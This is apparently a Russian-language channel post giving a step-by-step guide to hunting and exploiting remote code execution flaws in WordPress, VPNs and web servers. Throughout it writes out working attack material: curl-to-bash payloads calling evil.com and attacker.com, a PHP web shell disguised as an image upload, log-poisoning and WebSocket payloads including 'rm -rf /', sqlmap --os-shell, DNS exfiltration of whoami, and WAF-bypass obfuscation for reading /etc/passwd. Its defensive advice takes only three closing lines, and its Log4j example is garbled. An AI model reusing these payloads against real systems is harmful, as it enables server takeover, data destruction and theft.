⚔️ RCE-атаки в дикой природе ⚔️

⚔️ RCE-атаки в дикой природе ⚔️

}Marka{

"Ты не ждёшь RCE — RCE ждёт тебя"

Давайте разберемся что это за зверь такой и как его найти

RCE (Remote Code Execution) — это уязвимость, которая позволяет злоумышленнику выполнить любой код на твоём сервере.

👤 Стандартные примеры жертв:

  • WordPress-сайты (плагины вроде Elementor, WooCommerce).
  • Корпоративные VPN (Citrix, Pulse Secure).
  • Веб-серверы (Apache, Nginx с кривыми конфигами).
  • Форумы (phpBB, vBulletin).

💥 Как это работает?

1️⃣ Находка дыры: Хакер ищет софт, где можно передать данные без проверки (например, поле для загрузки файлов или параметр в URL).

2️⃣ Инъекция кода: Через уязвимость отправляется вредоносный payload (например, ; curl http://evil.com/backdoor.sh | bash).

3️⃣ Взлом: Сервер выполняет команду → злоумышленник получает контроль.

Реальные случаи:

  • Citrix CVE-2019-19781: Через дыру в VPN можно было получить шелл на корпоративном сервере.
  • WordPress Plugin RCE: В плагинах находили уязвимости, где через "невинное" поле для картинки можно было загрузить PHP-шелл.

Как их искать и на что смотерть ?

🔍 Этап 1: Выбор цели

Куда смотреть в первую очередь:

✅ Веб-приложения (формы загрузки файлов, параметры URL, API)

✅ Популярные CMS (WordPress, Joomla, OpenCart)

✅ Корпоративный софт (VPN, SIEM-системы, BI-платформы)

✅ API (особенно с самописной логикой)

Где искать свежие цели:

  • CVE Details — база по уязвимостям
  • Exploit-DB — готовые эксплоиты
  • GitHub (поиск по CVE-2023-* RCE PoC)

💉 Этап 2: Fuzzing — "тыкаем палкой в код"

Суть проста: Отправляем случайные/некорректные данные, чтобы спровоцировать ошибку.


Методы:

  1. Подмена параметров в URL
# Было:
https://site.com/download?file=report.pdf
# Стало:
https://site.com/download?file=../../../../etc/passwd

Ищем Path Traversal → если сервер отдаёт файлы, можно добраться до конфигов.


2. Инъекции в input-поля

# Вместо email подставляем:
'; $(curl attacker.com/shell.sh); #

Если сервер "съест" кавычки — возможно RCE.

Загрузка файлов с обходом проверок

  • Меняем Content-Type: image/jpg → text/php
  • Подменяем расширение: shell.jpg.php
  • Используем Burp Suite или OWASP ZAP для перехвата запросов.

📌 Этап 3: Анализ ответов сервера

Ищем "красные флаги":

  • Странные ошибки (например, вывод системных команд в логах).
  • Неожиданные задержки (если сервер выполняет sleep 5, значит, команда сработала).
  • Изменения в файлах (например, внезапно появился /uploads/tmp.php).

Инструменты:

  • Burp Suite (анализ запросов/ответов)
  • Grep (поиск ключевых слов в коде: eval(, system(, exec()

💣 Этап 4: Эксплуатация (если что-то нашли)

Пример для WordPress-плагина:

  1. Находим форму загрузки аватара.

2. Загружаем файл exploit.jpg с содержимым:

<?php system($_GET['cmd']); ?>

3. Сервер сохраняет его как /wp-content/uploads/exploit.jpg

4. Переходим по ссылке:

https://site.com/wp-content/uploads/exploit.jpg?cmd=id

Если видим вывод uid=33(www-data) — у нас RCE!

🦠 "Зоопарк" RCE-уязвимостей: неочевидные векторы

Помимо стандартных путей (типа загрузки файлов), RCE можно найти в самых неожиданных местах:

  • Логи сервера

Если в логах (например, access.log) сохраняются User-Agent или Referer, можно подставить в них PHP-код:

curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://victim.com

А потом открыть /var/log/nginx/access.log?cmd=id.

  • Парсинг PDF/Excel

Уязвимости в библиотеках (например, Apache POI) позволяют внедрить код через "безобидный" файл.

Пример: Уязвимость CVE-2021-45046 в Log4j работала даже через названия файлов.

  • Веб-сокеты

Если сервер использует WebSockets с самописной логикой, можно попробовать инъекцию через ws://:

new WebSocket("ws://victim.com:8080/'; eval(require('child_process').exec('rm -rf /'); //");

🕵️‍♂️ Профильные инструменты для хантингa

Для фаззинга:

  • ffuf — подбор параметров:
ffuf -w payloads.txt -u "http://site.com/FUZZ" -mr "root:"  
  • SQLmap (да, он не только для SQLi!):
sqlmap -u "http://site.com/?id=1" --os-shell

Для анализа кода:

  • Semgrep — поиск опасных функций в исходниках:
semgrep --config=p/php -e "system($...)" /var/www/html/

Для эксплуатации:

  • Interactsh — детектинг "слепых" RCE:
curl "http://victim.com/?cmd=ping%20$(whoami).oast.pro"

Если сервер делает DNS-запрос — уязвимость есть.


💡 Продвинутые техники

  • Bypass WAF (как обходить защиту):

Разбиваем команду на части:

# Вместо:
cat /etc/passwd
# Пишем:
c""at /e??/pa??wd

Используем переменные:

a=cat; b=/etc/passwd; $a $b
  • Безфайловые RCE (в память процесса):

Через Python:

import os; os.system("id")
  • Через Node.js:
require('child_process').exec('whoami')

🎯 Финальный чеклист

  • Проверить все поля ввода (реально все).
  • Протестировать загрузку файлов (включая SVG, XML).
  • Искать eval(), popen(), deserialize() в коде.
  • Попробовать цепочки уязвимостей (например, LFI → RCE).

🛡️ Как не попасться?

Для разработчиков:

  • Никогда не доверяй пользовательскому вводу.
  • Используй escapeshellarg() для команд.
  • Запрети выполнение PHP в uploads-директории.

На этом все. Всем спасибо за просмотр, а если нужен специалист с кибербезопасности то обращайтесь напрямую - @Marka_kol




Report Page